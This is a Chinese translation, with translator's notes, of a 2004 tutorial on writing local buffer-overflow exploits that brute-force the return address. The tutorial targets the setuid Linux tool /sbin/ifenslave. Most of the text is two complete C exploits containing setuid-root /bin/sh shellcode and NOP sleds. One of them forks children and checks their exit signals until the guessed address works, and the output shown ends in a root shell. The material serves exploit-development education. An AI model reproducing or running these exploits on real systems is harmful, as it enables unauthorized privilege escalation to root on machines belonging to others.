Bruteforcing the retaddr in local bof exploits[译文]创建时间:2004-02-10 文章属性:翻译 文章提交:Bytes (bytes_at_ph4nt0m.net) 原文:cya-d4rkgr3y<d4rk[at]securitylab.ru> 翻译/整理:Bytes<Bytes[at]ph4nt0m.net> Ph4nt0m HP:http://www.ph4nt0m.net/ My HP:http://ubytes.yeah.net/ [+-------------------------------------------------------------------------------------+] [+#译者的话:本人才疏学浅,本文是根据我的理解翻译的,仅做笔记,如有疏漏,还请扶正.] 关于本文: 在这篇文章中我将着重讲述如何写暴力寻找返回地址方式的本地缓冲区溢出利用代码.本文适读于有一定 C++,溢出和基本的*nix进程机制知识的读者. 正文: 这一技术的主要难点是:寻找到正确的返回地址后如何将我们的exploit适时地停下来,即如何查明 shellcode已经正确无误的执行了.在此我们有若干解决方案.比如说,我们可以去检查攻击程序运行后是否 有core文件产生.:)但是有两种更好的方法: 1.直到我们得到root(uid=0),也就是shellcode被正确执行. 这种技术ech0曾在n-mysql.c中使用过:]故我不在此赘述. [+#译者的话:通过getuid()函数判断] 2.通过子进程暴力寻找返回地质,并且拦截进程信号,通过进程信号判断. 因此,如果信号返回为11(即分段错误),4(非法数据)或者其他的一些信号返回,子进程是"不正常"结束的,意 味着我们使用的返回地址也将是错误的,shellcode没有被执行. 下面我讲演示如何编写该类代码: 让我们以Linux 工具/usr/bin/ifenslave为例(该工具应用于RedHat, Mandrake, SuSe等): gdb) file /sbin/ifenslave Reading symbols from /sbin/ifenslave...(no debugging symbols found)...done. (gdb) r `perl -e 'print "A"x1000'` Starting program: /sbin/ifenslave `perl -e 'print "A"x1000'` (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x/10x $esp 0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebe0: 0x41414141 0x41414141 [+#译者的话:对于这个例子1000字节填充数据足以覆盖$eip,事实上我们并不一定需要这么多个填充数据, 在我的Redhat 7.2中44字节就已经覆盖到$ebp了,$ebp+4字节就应该可以彻底覆盖$eip了.^_^] 典型的溢出攻击代码如下(在mdk9.1中调试通过): #include <stdio.h> #include <unistd.h> #include <stdlib.h> static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; #define NOP 0x90 #define RET 0xbffff687 int main(int argc, char **argv) { int offset=55; char buffer[1000]; long retaddr; int i; retaddr=RET+offset; for (i=0;i<200;i+=4) { *(long *)&buffer[i] = retaddr; //filling first 200 bytes of buffer with rets /* 缓冲区头两百个字节用ret填充,mdk环境我没调试过,在Redhat7里60个就应该很足够覆盖$eip了 */ } for (i=0;i<100;i++) { buffer[i+200] = NOP; //adding 100 bytes of nops /* ret后面紧跟100字节的0x90(nop)*/ } for (i=0;i<strlen(shellcode);i++) { buffer[i+300] = shellcode[i]; //adding shellcode symbol by symbol /*最后跟shellcode,整个填充数据构造为ret...|nop...|shellcode这样的格式*/ } execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); //executing } 验证如下: [satan@localhost 0dd]$ gcc -o eee eee.c [satan@localhost 0dd]$ ./eee sh-2.05b# exit exit [satan@localhost 0dd]$ 在此事情已经很清楚了.现在,让我们想象一下,如果是在其他我们只有一般用户权限的远程系统中,例下: [+#译者的话:扯远点,这里可以看出拥有多个平台的系统环境对于溢出代码编写调试有多么重要, 实际上确实有很多情况下,我们无法构筑一个跟目标系统一样的环境以得到足够的调试权限.:( ] sh-2.05b$ whoami; ls -l /sbin/ifenslave nobody -rwsr-sr-x 1 root root 11544 Sep 2 2003 /sbin/ifenslave sh-2.05b$ gdb /sbin/ifenslave (gdb) r Starting program: /sbin/ifenslave Couldn't get registers: Operation not permitted. (gdb) 看吧,我们没有足够的权限调试这个有问题的程序.因此我们只有一种方法得到正确的返回地址---暴力寻找. 当然你可能可以通过研究esp分析出这个地址,但是这样做不能够总得到我们期望的结果. 暴力寻址方式的exploit代码如下. 关于代码所含技术的详细信息我做了较详细的注释: [+#译者的话:我根据自己的理解给出对应的中文注释.] #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; #define NOP 0x90 // First ret, from which we'll start. // Here it is taken from gdb /* 这个是ret地址,通常可以由调试得出,也可以简单写一个程序得出*/ #define RET 0xbffff687 int main(int argc, char **argv) { int x=0, status, i; int offset=20; // <- positive. /* 偏移量,即ret+offset至少要落在shellcode前面的一堆nop中,如果你对此还不是很了解, 请参看其他基础资料. */ char buffer[1000]; long retaddr; pid_t pid; retaddr=RET+offset; printf("\n[+] 0dd ifenslave local root xpl ;D\n\n"); printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr); // 300 - maximum number, which can be added to RET. //I have taken a small one,for debug. In real cases it can be about 100 times larger /* 设置最大子进程数量为300个(即猜测300次),每个子进程都会构造合适的填充数据. 根据作者的意思,他不过是给出一个例子,因此猜测的次数仅仅为300个,而实际操作中可能猜测的 次数是这样的几十甚至与上百倍之多,这个嘛我就不多说,保留一点点^_^. */ while(x<=300) { //creating child process if((pid=fork())==0) { /* Child */ // childe generates new exploit buffer with new retaddr. /* 每个子进程构造稍有不同的填充数据,进行攻击.主要是因为溢出攻击时使用 的返回地址=ret+offset,而offset是一个变量,这样我们就可以进行有效的 暴力猜测了. */ for (i=0;i<200;i+=4) { *(long *)&buffer[i] = retaddr; } for (i=0;i<100;i++) { buffer[i+200] = NOP; } for (i=0;i<strlen(shellcode);i++) { buffer[i+300] = shellcode[i]; } // executing ifenslave - trying to exploit bof /* 每个子进程都会尝试使用新的返回地质构造的填充数据进行攻击. */ execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); // /* END */ } // while child tries to exploit vulnerability in ifenslave, parent waits while it ends. // And signal, which child will send after it ends, will be placed in status variable. /* 每个子进程执行结束都会返回信号到"status"变量",后面的判断需要这值 */ wait(&status); // Displaying the received signal. Just for debugging. printf("[~] Received signal: #%i\n", status); // Checking. If signal is zero (0), then child was finished without // erros, it means, that after // overflowing ifenslave has continued to work - shellcode was executed // or you have got into cs :) // (though it's almost impossible), so we have no reason to continue // bruteforcing. /* 简单的说当信号为0的时候,那么基本上就算溢出成功了 */ if(WIFEXITED(status) != 0 ) { printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr); exit(1); } else { // If signal isn't zero, than we have some errors (SIGSEGV, SIGILL)... // Adding offset to x and retaddr and repeating a loop: creating child // process,which tries // to get shell with a new buffer, waiting for him, checking signal,...:) /* 如果溢出后没有正确返回,也就是shellcode没有正确执行,那么将改变offset. */ retaddr+=offset; x+=offset; printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr); } } } 我想用最少的文字介绍一下如何选择起始ret地址的问题(即ret+offset这里的ret).实际情况下,当我们不 知道我们的shellcode位于栈中何处时,我们可以选择如下两种地址作为ret: 1.ESP寄存器的地址.然后通过offset递增确定准确的返回地址. 2.0xbfffffff - 栈顶地址,然后使offset递减. 关于offset,简单的说是一个偏移量,在溢出中通常代表预定义的ret和实际上正确的返回地址之间的差. [+#译者的话:这句是我的理解,作者原话是:it is proportional to payload.] 虽然offset单位递增(减)越大(上例中单位递增量为20)搜索速度越快,但是单位递增(减)量越小,结果越可 靠. [+#译者的话:过大的情况将可能使你的猜测地址中不包括一个可能的正确返回地址.] 上面例程的运行结果: The result is: sh-2.05b$ gcc -o eee eee.c sh-2.05b$ ./eee [+] 0dd ifenslave local root xpl ;D [~] Trying offset 0, addr 0xbffff69b [~] Received signal: #8 [~] Trying offset 20, addr 0xbffff6af [~] Received signal: #8 [~] Trying offset 40, addr 0xbffff6c3 [~] Received signal: #11 [~] Trying offset 60, addr 0xbffff6d7 [~] Received signal: #8 [~] Trying offset 80, addr 0xbffff6eb [~] Received signal: #11 [~] Trying offset 100, addr 0xbffff6ff [~] Received signal: #4 [~] Trying offset 120, addr 0xbffff713 [~] Received signal: #4 [~] Trying offset 140, addr 0xbffff727 [~] Received signal: #8 [~] Trying offset 160, addr 0xbffff73b [~] Received signal: #4 [~] Trying offset 180, addr 0xbffff74f sh-2.05b# id uid=0(root) gid=0(root) groups=65534(nogroup) sh-2.05b# exit exit [~] Received signal: #0 [+] Retaddr guessed: 0xbffff74f [~] Exiting... sh-2.05b$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) sh-2.05b$ 感谢: -WithoutHead -HeIsTheDarkness [ICQ:88918108] for translation. [==========================Translation End=======================================] 一点点感想: 简单的栈溢出,格式化字符串攻击代码的编写实际上不是什么神秘的技术,明白其原理,写出自己的模板, 剩下的事情(或者说以后再遇到类型相同的情况),就跟搭积木差不多了(前提你彻底搞清楚漏洞原理了:).本 译文的原文为俄语,其英文译文比较流行,并被翻译成多个语言版本. |